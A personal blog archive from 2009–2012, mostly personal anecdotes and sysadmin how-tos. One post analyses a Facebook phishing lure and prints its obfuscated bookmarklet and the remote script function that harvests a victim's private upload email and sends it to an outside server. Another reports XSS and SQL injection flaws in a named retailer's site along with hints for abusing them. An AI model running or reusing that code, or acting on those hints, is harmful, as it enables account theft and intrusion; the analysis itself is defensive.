K World

Damn Earthquakes

Wed, 11 Apr 2012 19:16:04 +0530

Boo. There was an Earthquake today near Indonesia. 8.7 on Richter Scale == A damn big one. It was so big that, people in India felt it .. and me, I was looking at an awesome tilt shifted video on a suspended particle display and was thinking about how amazing technology is .. and didn’t even realize that there was a quake. So, the only Quake I saw today is Urban Terror game which is built on Quake 3 engine.

I hope everyone is doing good after shaking a bit. Well, I know ‘you’ all will be good. That’s what I would want. Leaving you with a shaky pic of one of my favorite sights here .. building of School of The Arts.

Oohh ouch

Sat, 17 Mar 2012 16:59:02 +0530

Last Saturday was brilliant. Bloody brilliant. This one “ooh, haha, ouch”. This was a very tough week at work. Me and my team mates, technically my previous team were working on something kick ass at work and most of us were slogging to get a great result. Most of us were putting more than 18 hours a day on the product we were building and I was one of those few slogging like work horses.

The completely week I worked mostly out of home so that I would get few extra hours to work that I wouldn’t be wasting in traveling and other useless things. Today we had reached our goal by morning, and I decided to go to office as I won’t have too much work.

Its a damn sunny day. The MRT was crowded than usual at an odd timing. I kept wondering uhmmm, thats odd. Then I reached the university, yeah, I work at a university these days. There was small kid walking down. I was like okay, that odd. Then I reached my seat, sat there for couple of hours, wondered where is my team mate, and I called her up and she didn’t answer her call. Then I want to her cabin, and it was locked. Wondering whats going on, I realized the research bay where I sit at was not much crowded today. I waited few minutes and I called up my team mate again and she answered call this time. The call went like this

Her: Hey
Me: Hey, where are you? Your cabin seems to be locked
Her: I just woke up (time is around 12.15 noon), I had partied till late night yesterday
Me: Oh okay, aren’t you coming to office today?
Her: Today? Why would I come to office today? Today is Saturday.
Me: WHAAAAT?? TODAY IS NOT FRIDAY?
Her: WHAAAT? TODAY IS NOT SATURDAY?
Me: Erhmmm … Today looks like Saturday, most of univ is locked
Her: *Laughing hysterically for next minute
Me: *Wow, today is a Saturday*

That’s when I realized I lost sense of the week because of my slogging. I decided to stay for some more time before heading back for home. I want to a tiny Indian restaurant on my way back had a nice vegetarian meal and came home all embarrassed about going to office on a Saturday on a sunny hot day. I took a nap and all of a sudden I startled and woke up to a thunder. Its raining heavily. Ouch.

TLDR; I went to office on a Saturday assuming its Friday. A sunny day became dark and gloomy with a heavy thunderstorm.

Wow

Sat, 10 Mar 2012 19:44:00 +0530

For the last few months I had, days like today are the reasons for me to look forward for every tomorrow. It started like a usual boring day. I slept at 6 AM after playing over night game of Urban Terror, dealing with work, watching a documentary on Gengis Khan. Important piece of information that I forgot was that I told a friend of mine that I will join him to visit Jurong Bird Park today. I got the call at 8.45 AM that he has started and he will meet me at 10.00 AM from a place which is around 50 minutes away from me. Well, in a hurry I got ready reached the place and we have enjoyed the shows done by those colorful birds. And still, the day is a very normal day.

We’ve seen a parrot telling “I love you” to the trainer for a bribe of a nut, an eagle munching over a piece of chicken treated by its care taker, a huge ostrich looking weirdly as if its wondering what the hell is happening around, a pelican landing gracefully on water, a penguin taking a swim and still the day is a very normal day.

We went to a local Indian restaurant and I had yummy vegetarian meal. From there we went to Singapore Science Center, and watched a small cute kid playing happily with water at a Kinetic Garden and yet the day is a very normal day. By noon my eyes were stressed due to lack of fever and I couldn’t stop tears, so I had to go wash my face to further enjoy the science center, and still trust me, the day is a very normal one. My friend and I bought tickets for the Science Center and an IMAX movie, a documentary on Coral Reefs. The show is at 5 PM and we started from science center to the adjacent building which is the theatre, and then the day took a twist and became one of most memorable days in my life.

We were leaving for the theatre, and at the atrium of the science center was an installation of Tesla Coil, which was about to be started for demo at 5PM. I told my friend that I always had great admiration for Nikola Tesla more than Einstein or Newton, I don’t care about the IMAX movie, but instead I want to watch the Tesla coil show. Well, a good decision, which I didn’t know at that time. The show started, and the lady presenting it asked audience for 5 volunteers to hold tube lights in the air to show how the those tube light up when the tesla coil is switched on due to the radio frequency power emissions … I guess. Well, the next minute, I was holding a tube light powered up, wirelessly, imitating a light saber. Wow, that was just wow. I was happy. I was part of the Tesla coil experiment. The next minute, the lady wanted to try something even bad ass, the “Tesla Cage of Death”, I had no clue what happened next, but all I remember is her asking for a volunteer and I was the only one with a hand up among 50 other people around. I was happy to be chosen, and I walked to the Cage of Death as if its my throne. The second I sat on it, the thought in my mind was .. wow, I was the only one who wanted to experience Tesla coil there. Well, I din’t care, I was sitting inside the cage. Gentlemen, next are few of awesome, awesomer, awesomest seconds of my life. I was sitting in Tesla Cage of Death and 3.5 million volts of electricity playing around me. My friend took a video of this, I didn’t take it from him yet, but well, a simple search on Youtube gave me this and this as results, videos taken by someone else on some other day.

2011. GTFO. Welcome 2012

Fri, 30 Dec 2011 20:44:29 +0530

2010 was an awesome year for me. It brought me lot of happiness through every possible channel. Had a great year, great time with friends, learnt to drive, went on lovely drives, good experiences, encouraging things at work. And 2011 took everything away from me. But, yeah, it doesn’t look as bad as I say for an outsider. But, nevertheless 2011 sucked bad for me. I’m so glad that its over. So, wholeheartedly here I say 2011, GTFO

And 2012, please don’t be as bad as 2011.

RIP dmr

Thu, 13 Oct 2011 11:30:00 +0530

/* RIP Dennis Ritchie, author of C, co-author of Unix. */

#include <stdio.h>

int main() {
printf(“Goodbye World\n”);
return 0;
}

Gist behind the Birthday Doodle

Tue, 19 Apr 2011 17:33:00 +0530

We use squid as proxy in our lab, which means, I have complete control on what junta in my lab view. Squid has a very lovely mechanism called url_rewrite_program. I usually, use it to get some control over what junta do on the LAN during office hours (like limit facebook access only to lunch time and after office hours) - You should probably read about Squid, and SquidGuard to know more about this.

SquidGuard is plain awesomeness. So, I decided to emulate its logic ie., replace the URLs which I want to block for certain users with the URL I want to be presented. So, all I need is a program which replaces the required Logo with the Image I specify.

This is the code that does exactly the same.

Add a +x to that file, Add it to your squid.conf as `url_rewrite_program /path/to/program` and reload your Squid. End result would be something like … this. That’s all folks.

Time spent on Facebook? Don't find.

Sat, 12 Feb 2011 16:34:00 +0530

One of my FB contacts had shared this link on their facebook Wall - http://174.120.6.98/~tchecks/next.php?id=12132. It claims to run some javascript code after logging to m.facebook.com to find out how much time you’ve spent on Facebook.

javascript: var _0xbdfc=[“\x73\x63\x72\x69\x70\x74”,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74”,”\x73\x72\x63”,”\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x34\x2e\x31\x32\x30\x2e\x36\x2e\x39\x38\x2f\x7e\x74\x63\x68\x65\x63\x6b\x73\x2f\x6d\x6f\x62\x69\x6c\x65\x2e\x6a\x73”,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64”,”\x62\x6F\x64\x79”];var script=document[_0xbdfc[1]](_0xbdfc[0]);script[_0xbdfc[2]]=_0xbdfc[3];document[_0xbdfc[5]][_0xbdfc[4]](script); void(0);

As usual, I never support anyone running any kind of JS on address bar. So, thought to dig through the JS code. Well, that array in human’s language is ..

[“script”, “createElement”, “src”, “http://174.120.6.98/~tchecks/mobile.js”, “appendChild”, “body”]

Now, one important function in that mobile.js page is

$.get(“http://m.facebook.com/upload.php”, function(data){
var mydata = data; var mobiles; var count = 0;
$($(mydata).find(‘a’).filter(‘:contains(“m.facebook.com”)’)).each(function(){if(($(this).text() != undefined)){ mobiles += $(this).text() +”;”;}});
var clean = mobiles.replace(“undefined”,”“);
var cut = clean.slice(0,clean.length - 1);
var insert = cut.replace(/;/g,”,”);
//Redirect to php inserter which redirects back to next set of steps.
top.location.href = ‘http://174.120.6.98/~tchecks/check.php?get=1&m=,’+insert;
});

This function gets the page m.facebook.com/upload.php, parses it, looks for all links with m.facebook.com in it, and grabs one email address, which as per Facebook is

This is *your* personal address - don’t share it with anyone
The email subject will be the photo caption if your email contains photos.
The email subject will be your updated status if your email contains no photo.
Save your upload email as a contact for easy access.

So, now the phisher has your private FB Mobile email address, through which he can upload pics or update your status.

Moral of the post: Don’t be dumb and run any javascript in your browser window if you don’t understand what it does. And, install NoScript for Firefox. Other browser users, find similar alternative or Get Firefox.

An Awesome Saturday

Sun, 03 Oct 2010 23:31:00 +0530

It was an awesome Saturday compared to pretty much any of my other Saturdays I had lately which consists of 10 hours of sleep, 10 hours of Internet and 4 hours of cribbing that I had wasted the whole Saturday doing nothing. This one turned out very well even though it was planned just 8 hours before it started at a restaurant while struggling to read name of a Thai Dish ‘Pad Pak Nam Prik Pao’ and Ganesh deciding that it would name of his first born and just before enjoying the awesome Fried Ice Cream that Arun praised all our way to the restaurant.

The day was supposed to start by 6 AM with office as rendezvous. Well, as the ‘light’ sleeper of the group, I decided that I need more than one alarm to wake me up and kept a series of alarms from 4.30 AM to 5.30 AM. I was supposed to be accompanied by Mr. & Mrs. Ganesh to the office from my place and the lovely couple decided to reach my home only by 6AM, while I tried to wakeup every one else. Around 6 calls failed to wakeup Deepak while Satya and Sathish were awake and waiting for my signal to start for office. Yeah, all of us were sure about everyone else that they will be late to reach office. I had informed Satya and Sathish that meeting time has been postponed by 30 minutes.

6.45 AM in the morning, all of us were at IITM office parking lot. All of us, minus Satya, Deepak and Harish. Satya assumed office as “his cubicle” when we were waiting for him at parking lot. Harish assumed office as a traffic signal next to his apartment, when we were waiting for him at parking lot. Deepak didn’t assume anything but realized that he has to hurry as he over slept and his phone cheated him by not making enough sound to wake him up.

7.45 AM in the morning, all of us reached Fishermen’s cove and signed that the hotel is not responsible for any accidents or deaths or shark attacks or jelly fish stings that might happen in the Ocean. Oh, by the way, Sathish has no clue what we were going to do other than the fact that its some where in the sea and it has to deal with water. Well, The Rain God decided to show his blessings by raining a lot at the same time, but he failed to realize that we cannot go for the ride if the waves are turbulent which is created by rain. So, we decided to go have breakfast first and wait for Rain God to realize his boo-boo. After the awesome break fast, few of us decided to enjoy the beauty of the rain and others decided to test their pool skills at the table.

Time Frame Lost, in the morning, finally, The RG realized his boo-boo and decided to stop showering us with his blessings, and let the Sun God wish us to have fun by letting him shine all the way. All of us suited ourselves in life jackets, got on to the catamaran (Tamil kattumaram) with a motor. Few hundred feet in the ocean, the kattumaram stopped and all of us jumped into the ocean to float like … PJ coming ahead … all those divs floated by Selva GK. And there was one div which was floating shadily like it was being rendered in IE, and Selva GK, if he tries to alert its name, it would alert with a loud beep as … “Sathish”. Yes, the realization, Sathish is scared of water like all of us, but, he is scared of water even with a life jacket on him. 44 minutes passed by with each of us trying to convince him to leave all the rope and come away from the boat, and he was convinced finally and decided to move 5 feet away from the boat. Ding, its 45 minutes and our floating time is over and we have to head back to shore.

We started walking back on the beach and something happened, and Satya got himself hurt when a bad wooden piece went under the nail of his foot’s big toe. He went to paramedic for making sure that it comes off, and rest of us decided to give hit volley ball across the net for a while. 30 minutes passed and Satya didn’t return back from the paramedic. Swathi went to office to settle the bill in her style and we got to know that there were more than 25 pieces of wood under his toe. After lot of struggle, the paramedic Mr. Sibin managed to pull all/most of the pieces of out, and we started for Mahabalipuram to have lunch and Deepak went back to the city to prepare for watching “Enthiran”.

After lunch, and the fight with restaurant over shady buffet, and another fun drive towards Pondicherry, we decided to return back to the city and Arun dropped Harish at his place. 6.30 PM, we decided to stop at office while returning, and after some chit chat, Arun playing guitar, Ganesh playing Boom Box ;) while we blame Sathish for it. Satya wanted to visit doc to ensure safety for this big toe while we decided to ensure safety for both our feet, by shopping for shoes. Sathish, Ganesh and I bought a pair each while Arun and Swathi gave valuable feedback ;) And its 9PM already, and we decided to have kulfi at Freez Zone. After telling bye to Arun at his home, Sathish started his lengthy ride back home at 9.45PM, and I started for my place along with Mr. and Mrs. Ganesh and they started for their place from mine.

And I went to my bed thinking … Wow, what a day.

There goes the third

Sun, 13 Jun 2010 15:07:00 +0530

I’ve felt three Earth Quakes in my life. Yesterday was the third one. Just thought to write about my thoughts while the quake was going on …

The first one, back in 2001, Madras. It was around 9 in the night I guess. I was sitting before a my computer (yeah, I’m spoiled right from child hood) in a dark room and editing an image to create a funny image of some bad guy behind 9/11 to show my disapproval of the attacks. All of a sudden, my chair started rocking and the first thing in my mind was … “What the hell, I didn’t even finish editing, how did they find me. Or … is it a devil?”. Then I came out and mom, granny were watching TV and I slowly asked them … did you feel any tremors … thinking that they will think I’m crazy if I tell them that my chair rocked. They immediately replied … YES! and in my mind I thought “YES!! They dint find me, and it was not a devil, it was just an Earthquake”, after few seconds.. “Wow, EARTHQUAKE!!!” and then I called up all my friends and told them that I felt an Earthquake.

The second one, back in 2009, Santiago. I working in the night/early morning 2-3AM on a package I was supposed to finish. I was very tired, but I just wanted to finish the package before I goto sleep. Then, as usual, all of a sudden there were strong tremors and the first thing in my mind was … “Am I dreaming or did I overload my brain?” .. then in couple of seconds … “Wow. Its an Earthquake and in 12 floor building which is rocking. Am I going to die today???”, then tremors stopped and I was relieved. Then Bala came out of the bedroom and looked at me … waiting for me to confirm that it was an Earthquake. He was also relieved due to different reasons when I confirmed him that it was an Earthquake. Next thing I did was tweet about the quake, called up home and a friend.

The third one, yesterday, Madras. Night 1AM, playing flash games and following a stream of worldcup USA vs UK match. Tremors -> “Wow EARTHQUAKE, I should tweet about this before others do” -> “Let me ask others online whether they felt anything” -> “Did anyone else tweet about this, search.twitter.com” -> “Wow. Tsunami alert. Let me make fun of Anjali” -> “Okay, now, let me see whats happening within the house” -> “Hope all are safe in the affected areas” -> “Wow, my third earthquake, I should blog about this tomorrow”

And that’s how, the third one went in my mind.

And … yeah, it took an Earth Quake for me to get back to blogging :P

... and he comes to rescue

Tue, 30 Mar 2010 10:13:00 +0530

Day before yesterday, I went home in my car, which I wanted to do from a long time, drive home - which is around 150 km from the city where I work. One of my old friends joined me for that drive and everything went smooth. I reached there, spent time with my parents and the next day, it was the time for starting back to the city where I work.

I took my backpack, and another bag with laptop, went to my car kept both of them on the backseat of my car. My pants had only one pocket which already had my mobile and wallet and there was no more space in them. Without thinking through, I kept my car keys on my laptop bag. Then my mom called me to give me some stuff which I’m supposed to deliver to my cousin in the city. I closed the door of my car, went to my mom and … *TADA* I realized that my car has a remote lock, and it locks all the doors automatically, if the key is not in keyhole. I ran back to the car, only to find out that its locked already.

Then, my cousin and another friend called up few drivers and mechanics to find out whether they can pick the lock. Unfortunately or by good reason, it was tough to pick lock of my car and they failed badly. Then, the only other option in my mind was to get the spare key from Madras which is with my cousin.

Then, and there, he comes to the rescue. All I had to do was call him and ask him to get my spare key, which is with my cousin. He didn’t ask a second question, there was no second thought. Started as soon as I asked, collected the key, came back to my town. Dude, you are the best, I’m really proud and lucky to be your friend.

Oh boy, floating points really float

Sat, 13 Feb 2010 12:01:00 +0530

I was reading a thread on Hackers News a while before and stumbled on a site wtfjs.com. The site points some crazy things done by JavaScript, at least, that is what I thought for a while before reading comments on the thread. Then, I read the comment that the author of wtfjs is just naive and doesn’t know about floating points. For a while, I thought it was just anomaly of JavaScript ( I never had any love for things that start with the word “java”) and was totally shocked to know that it’s not just Java Script, I just had no clue about the implementation - till now and this is very embarrassing.

The results were more like our democracy. All individuals are equal, and few are just “more” equal. I’m glad that I know the problem and reason atleast now :D

Mathematics is the language of nature

Wed, 03 Feb 2010 02:29:00 +0530

The last time I was on a small learning adventure was when I was solving challenges at http://hax.tor.hu, and I managed to finish it in couple of months. Then back to boring life without learning anything new. Then, life was the usual, 5 movies a week and regular work without real use of brain.

Then, I remembered Flute, one of my teamies was a big fan of one site named Project Euler. The site is a community of people solving a bunch of math problems. Fun part, problems are challenging. To add little more to fun, you can compare your logic to others. What adds even more to fun is, those guys are crazy. Few guys solve those tough math problems in Assembly language. Yes. Assembly. And to make things even worse, for few problems, for which my code takes around 15 to 20 seconds to solve, there are logics, which solve the problem in half a second.

So, I decided to start solving the problems, with couple of aims. First, solve atleast 100 problems in next 3 months (I’ve solved around 50 in the last week, but problems get tougher after that). Second being, try to solve them with logics that take as less time as possible rather than brute-forcing everything.

Now, there is another site, which runs on similar basis, called RoseCode. There are few nice problems there too. If you enjoy solving Project Euler, you will probably enjoy this too.

Just few moments before, I thought I will create a github repository with all solutions and later changed my mind of making them public and indexable. But anyway, if you happened to start solving Project Euler or Rose Code and want to compare your solutions with mine, I’m a tweet away to send you my codes.

By the way, you might want to register WeChall, if you start solving RoseCode. WeChall is a global ranking site, which can let you fight with few nice coders/hackers etc. Also, my nickname in all the sites is [108, 97, 122, 121, 105, 100, 105, 111, 116]

It happens only in ...

Fri, 08 Jan 2010 02:27:00 +0530

Of course India. So, the latest rumour is that Mukesh Ambani is behind YSR’s chopper accident. Now, let’s go through the story.

One Russian website tells that that Larry Summer’s ex-boss’s enemy is dead in Chopper crash. This article links to another article which tells ..
- Larry Summer’s ex-boss’s brother (Anil Ambani) chopper’s gearbox was tampered.
- Anil’s mechanic was killed in an accident.
- Anil suspected business rivals to have planned for the assassination.

Mechanic who found that gearbox was tampered died in an accident two days later.

Now, what Indian media made out of it.

Larry Summer’s ex-boss is Mukesh Ambani
Mukesh Ambani and YSR had few differences
So, Mukesh must be reason for YSR’s death

Now, this is my take -

One Russian Online Newspaper named “The Exiled” had an article written on 3rd September 2009, that YSR died in a mysterious accident.

Seriously ???? Indian media is digging a column in Russian newspaper, written by Mark Ames (an American Journalist, who use to write articles for Playboy) after 4 long months.

YSR had differences with Mukesh, Anil as well as their mother over gas deposits from Krishna-Godavari basin

Yeah, YSR had differences with both the brothers who were fighting over price, and their mother, who was trying to settle it. It’s not like he took someone’s side. He was neutral, and he wanted central govt. to take decisions on the price.

There was an assassination attempt on Anil, the medium was a helicopter. And Anil thought some “business rivals” planned this.

So, the business rival was his own brother. How about the word “coincidence” ?

These are the references from Exiled Online[1][mirror], [2][mirror]. Both articles attack Mukesh Ambani. Its obvious that none has any proofs till now and the author of article is just deducing stories by reading news items from other sources[1][2][3][4].

And the result of the above mess - Congress workers attack “Anil” Ambani’s offices in Hyderabad. Seriously ??? Anil Ambani, himself was a victim in the above story, and his offices are being attacked.

So, TL;DR - One wannabe fiction writer, creates a conspiracy based on various articles. Hungry for sensation - Indian Media sensationalize the story after three months. Work-less political party workers attack younger brother’s offices even though the villain in the conspiracy is the elder brother.

LandMark, XSS and The Injection

Wed, 06 Jan 2010 12:24:00 +0530

So, Landmark, a famous book/music/movies store in India is on the net at LandmarkOnTheNet.com. I was there to check whether they sell 3D glasses, even though there are some cheap paper glasses on ebay.in, but I want better quality. As usual, the bad habit of checking for SQL Injections and XSS tingled in my brain.

Apparently, LandmarkOnTheNet has both the problems.

and for SQL Injection, I didn’t try much, just give a single quote as input in search, the server choked with an error in the SQL Query (it actually told what the error is and where the error is; what a away to configure the production server)

So, there are many things you can have fun with above two, these are the keywords - My Account, Session Stealing, Gift Cards, SQL Injection, PIN Numbers, Free Shipping.

If I were a landmark website user, I would ensure that my browser is Firefox with NoScript addon installed. If I were a landmark webmaster, I would buy a book on Web Security right now, ah nevermind, I would just search in Google for tips of fixing XSS and SQL Injection vulnerabilities and fix them ASAP. I might also feel very bad for using so many tables in my markup.

It's a new decade

Fri, 01 Jan 2010 13:09:00 +0530

And … Good Luck for that.

Etherpad; Opensourced

Sat, 26 Dec 2009 23:18:00 +0530

Etherpad is a lovely app which is bought by google and was opensourced 10 days before. Now, just to add a drop of water to the ocean.

A small how-to on deploying Etherpad

The package

Etherpad source from http://code.google.com/p/etherpad
Some minor fixes and changes, here and there
File Imports [gist]
File exports to DOC/PDF/ODT using Oo.org [gist]

How to compile, run and test

Grab the code from my github repository
$ git clone git://github.com/karteek/etherpad.git
You can optionally do a diff -r to above created clone with original clone to see the changes I’ve made to the code.
Set up the environment to compile the code. Open the provided env.sh, and look at the needed variables. Existing values are values from my MBP, and they most probably won’t work for you
$ source env.sh
Create a database “etherpad” on your MySQL database. Same time, create a user “etherpad” with password “password” and grant him all privileges on the database “etherpad”
Update etherpad.SQL_JDBC_URL, etherpad.SQL_USERNAME, etherpad.SQL_PASSWORD and etherpad.adminPass in the file etherpad/etc/etherpad.localdev-default.properties
- etherpad.SQL_JDBC_URL is the jdbc URL of your database (in our case, its jdbc:mysql://localhost:3306/etherpad )
- etherpad.SQL_USERNAME is the username to connect to database (in our case, its etherpad)
- etherpad.SQL_PASSWORD is the password to connect to database (in our case, its password)
- etherpad.adminPass is the password needed to login to admin panel of Etherpad instance
Change directory to etherpad, compile the jar, and start the server
$ cd etherpad
$ bin/rebuildjar.sh
$ bin/run-local.sh
Now, fire up your browser, and visit http://localhost:9000 to play with your instance

File Imports

File Imports depend on com.oreilly.servlet (cos.jar found at http://www.servlets.com/cos/)
Check their license @ http://www.servlets.com/cos/license.html. If you are fine with their license, download cos.jar and copy it to infrastructure/lib folder
Search for locations where file upload related code is commented, and uncomment the code.
$ grep -r “REMOVED_COS_OF_COS” *
Recompile the package
$ cd etherpad
$ bin/rebuildjar.sh

File Exports

File exports depend on Openoffice.org for conversion
You need to start Oo.org as a service
$ /path/to/openoffice/soffice.bin -headless -nofirststartwizard -accept=”socket,host=localhost,port=8100;urp;StarOffice.Service”
Just make sure that etherpad.soffice has some value in etherpad/etc/etherpad.localdev-default.properties
Check infrastructure/com.etherpad.openofficeservice/importexport.scala for more information

How to deploy the same on example.com

Wild card dns for your domain. Point *.example.com to same server where example.com resides. This is the server where you are deploying this instance.
Make sure that your SMTP is working. Activation of Pro accounts happen over email, so its important.
Open etherpad/src/main.js, and update domain in line #273
Open etherpad/src/etherpad/globals.js and change the domain in variable SUPERDOMAINS found at line #30
Open etherpad/src/static/crossdomain.xml and add your domain to crossdomains.xml
Look into etherpad/src folder and search for etherpad.com. You will find many locations, where your instance will be coded to mail from an @etherpad.com account. Update all of them to your domain.
$ grep -ir “etherpad.com” *
Open etherpad/etc/etherpad.localdev-default.properties and update
- devMode to false
- etherpad.isProduction to true
- listen to example.com:80
- etherpad.isPNE to true (only if you want to run in PNE mode)
- And ofcourse, change etherpad.adminPass
As long as you din’t change anything in infrastructure folder, you need not recompile the jar. So, just go ahead and start the server. For starting a server on port numbers less than 1000, you will need to have root access on OS X.

Running the instance behind Apache using mod_proxy

Do the same as above from steps #1 to #7.
In step #7, rather than changing listen to example.com:80, change it to localhost:9000 or just 9000
Start the server using bin/run-local.sh

Your apache configuration might look like -

<VirtualHost *:80>
ServerName      www.example.com
ServerAlias       *.example.com
ServerAdmin     admin@example.com
ErrorLog        /var/log/apache2/etherpad.error.log
LogLevel warn
CustomLog /var/log/apache2/etherpad.access.log combined
ServerSignature Off
ProxyPass / http://localhost:9000/ 
ProxyPassReverse / http://localhost:9000/
ProxyPreserveHost on
  <Proxy *> 
    Options FollowSymLinks MultiViews
    AllowOverride All
    Order allow,deny
    Allow from all
  </Proxy>
</VirtualHost>

This might or might not work for you. Anyway, I guess you got the idea. Check manual for more information

Well, the patch I wrote for enabling file exports so as this tutorial come with no warranty. Don’t ask me even if it breaks your bones. This is what I did, following it is completely your choice. Code from Etherpad is under the license they specified. The file import part depends on MultipartWrapper and MultipartFilter. If you don’t like their license, its better to write your own code for doing their work.

Feel free to ask any doubts and/or fix my bugs. There is a great tutorial on installing Etherpad by Nuba Princigalli. Do check it, if you find any problems with my post.

Zimbra and EC2

Thu, 24 Dec 2009 22:00:22 +0530

Zimbra offers an awesome Open Source collaboration suite. EC2 is an awesome compute cloud service. The points I learned and did while deploying Zimbra on EC2.

Zimbra on Ubuntu is supported on Hardy (8.04), but not newer. Install only if you want an adventure. I didn’t want an adventure, and I love Hardy.
Hardy EBS backed image was not available on Amazon (by today) So, I did this, and got things ready. (If you want the AMI, let me know. I can share the same with you.)
Download Zimbra Ubuntu package, unpack stuff and … wait.
Zimbra uses LDAP for maintaining user registry, so, you need to know that Zimbra is going to install LDAP for you.
But, LDAP has a weird habit of checking for host over DNS even if you install the LDAP server on same machine AND editing /etc/hosts file do not suffice.
So, you need few entries in your DNS.
1. MX Entry for your website. (MX entry tells which server will handle mails for that particular domain)
2. A Entry for your MX server. (that particular mail server should be resolved to an IP)
This should solve your problems if your servers are connected to internet, but most of time, they do not. They will be behind a firewall, and they will have LAN IPs which won’t be same as your public IPs, and your server might not even know that it has a public IP (server will just know natted IP). This is just the case with EC2.
So, now you need to configure a DNS server on your LAN to do the work for you. Follow this tutorial on how to create zones. It will help you to create proper entries on your Bind server.
Confirm that your Bind server is working by doing. Replace example.com and mail.example.com with appropriate domain names.
- dig @localhost example.com MX - to see your server’s MX record
- dig @localhost mail.example.com A - to see your mail server’s A record
Once, local DNS is configured. Add an entry to your /etc/resolv.conf and also add mail.example.com xxx.xxx.xxx.xxx to your /etc/hosts. Replace domain and IP appropriately.
Now, you can continue with installation of Zimbra. Just start the installation. And follow the steps. Zimbra installation, by itself is a fairly simple process.
During the installation process, Zimbra will think that mail.example.com is the domain for which you are installing, and try to check MX record for it. As, we do not want email for our mail server (we dont want mail@mail.example.com, rather we want mail@example.com), we didn’t not create any MX entries for for mail.example.com. So, Zimbra will fail to check for MX record of mail.example.com and ask whether you want to change it. Now, change it to example.com
And, finish installation.
Last and important, goto your AWS console, Security Groups, and enable SMTP, SMTPS (IMAP, IMAPS, POP3, POP3S ports if needed)

Now, as you are on EC2, there are some issues, you are going to face.

EC2 doesn’t support reverse DNS, which means, your example.com will resolve to Amazon IP, but that amazon IP when nslookup’ed on, will return something like ec2-xxx-xxx-xxx-xxx.compute-1.amazonaws.com rather than example.com. There is no way of changing this as of now. LittleScrewed.
That means, some mail servers might not accept your mails, thinking that your spamming. Screwed.
EC2 has very bad limit on sending outgoing emails from its SMTP ports. I got an email from EC2 abuse for sending 10 emails. Totally Screwed.

But, as light at end of the tunnel, there are few things you can do.

You can use an external SMTP service to send email. For that you have to configure your MTA ie., Postfix here, to relay emails using that external SMTP service. Of course, the a reliable external SMTP service will add some weight to your bill.
Configure a proper SPF on your DNS and pray that all mail servers accept your email.
Rather than going for external SMTP, you can configure SPF and request Amazon to increate your email limit and hope they approve.

But, because bad things always happen, few mail servers like my employers, throw you a 554 code when reverse DNS fail for your IP. Logically speaking, things should work when proper SPF is configured, but, this is practical world. Things are always beyond the control of standards. If you are an IE user, you would never know this.

EBS backed EC2 - Life made easy

Thu, 24 Dec 2009 20:54:00 +0530

After Amazon launched EC2 back in 2006, they’ve been adding new features in regular intervals. On EC2, for starters, one thing that confuses a lot is the lack of persistent storage - in simple words, you lose all changes made and data once you reboot. There were options like S3 and EBS though to over come this problem. But, much configuration is needed, need for regular backups, booting was slower etc., etc.

One of their recent addition to features list is EBS-backed AMI. It allows an EBS volume to be root device for an instance, in other words, one can boot an instance from EBS volume. Property of EBS is being persistent, which automatically makes your instance’s root persistant, which means, one can reboot their instance as much as they want without having to worry about losing changes they made to the settings or their data. So, conclusion is EBS backed EC2 is … cool.

But, if you are an Ubuntu guy like me, you would be disappointed to see that there are only 4 (as of now) public EBS based Ubuntu Images on EC2 right now, and you would be even more disappointed to see that none of them is Hardy (8.04.3 LTS) image. No LTS image. But, Everything’s shiny captain, nothing to fret. One very nice tutorial and a kick-ass Python API for EC2 come to rescue.

This tutorial on Elastician which is based on Boto comes to rescue and help you to create an EBS-backed AMI. Before going through and following that tutorial, just make sure that you have latest version of Boto (>1.8d). Just make sure that the AMI which you are using to create an EBS-backed AMI is a reliable one.

By the way, you can see an awesome list of available images at The Cloud Market.

Migration of blog to Tumblr

Sat, 19 Dec 2009 17:56:00 +0530

After two years of my last migration from blogspot to wordpress, Here I am, after 3 years of blogging, migrated to third service. This time, moving out of self-hosted wordpress to a nice hosted solution Tumblr. You might haven’t seen many differences other than theme becoming extremely minimalistic.

Well, there are the changes.

Now, the service is no longer wordpress, its Tumblr :D
All posts are migrated
All comments are migrated to Disqus, a very good global comment system
URLs of all posts are changed, but any time you can you use the search
All bookmarks, external links, google indexed pages till re-indexing are broken. Boo Hoo.

Migration went smooth, but there was a small problem for doing the same. There were no softwares available to do the same. “Migration from Wordpress to Tumblr”. If any existed, they will certainly miss migrating the comments or the attachments you’ve done in your previous wordpress blog. And, it of course is a tedious task to migrate everything if you do that manually.

So, on my way here, I wrote a small script for doing the same - Wordpress to Tumblr migration. I called it Wp2Tumblr.Py

Well, it does the following things -

Takes your wordpress extended rss archive and parses it
Post all your wordpress posts to Tumblr
While doing above step, it posts all your image uploads to Tumblr as Private post, extract the url of the image from Tumblr post, change the same in your wordpress post.
Migrate all the comments of the post to your disqus account and link them to your post

Well, as I promised, I’m going to release all my personal code as opensource under WTFPL. So, if you’ve a similar requirement, you can clone the repo from http://github.com/karteek/wp2tumblr.py

By the way, I didn’t tell you whats better in Tumblr than Wordpress yet. These are few I found as new

Totally customizable themes. Of course, you can do same on self-hosted versions of wordpress. Paid feature on wordpress.com, I guess.
Multiple of types of posts. Unnecessary in my opinion, but what the hell.
Custom domain support. Self hosted wordpress, obvious. wordpress.com, its a paid feature.

Above all, the main reason, I wanted to move to a hosted service. Blogger is too messy. Comment system sucks there. Wordpress is nice, but I couldn’t get username ‘karteek’ and custom domains are not part of standard feature set and I was feeling all excited for an adventure :p

I still think that Wordpress is the best blogging software available, but updating the codebase, payment to the hosting provider etc etc are few things you really are not supposed to be worrying about when you blog for fun. Tumblr made life easy, without losing my identity - karteek.selfdabba.com. All I had to do is point my subdomain’s A record to Tumblr’s server.

Its a year and ...

Sun, 29 Nov 2009 07:00:20 +0530

Its been a year that Bombay was attacked by terrorists and killed a 166 innocent people. Well, whats happening after that.

- India has got a new guest. Terrorist Kasab. Yeah, Government has spent 31 crores for his safety
- Pakistan is still playing blame game that India is not giving enough evidence to arrest Saeed, founder of a terrorist group Lashkar-e-Taiba
- US is giving more and more aid to Pakistan to fight terrorism
- India is expecting US to be headmaster and detain Pakistan
- Pakistan is expecting US to be headmaster and force India to give Kashmir to Pakistan
- US doesn’t care if Pakistan is sending terrorists to India as long as it kills the terrorists which are attacking the US.
- Headmaster as well as both the kids know that things are not moving anywhere.

So, after all the crap that has happened in last one year, troubled remained troubled, terrorists remained terrorists, victims remained victims, and every one’s shitty life just remained shitty life. Just to find out what Google thinks about India and Pakistan, I took couple of screenshots -

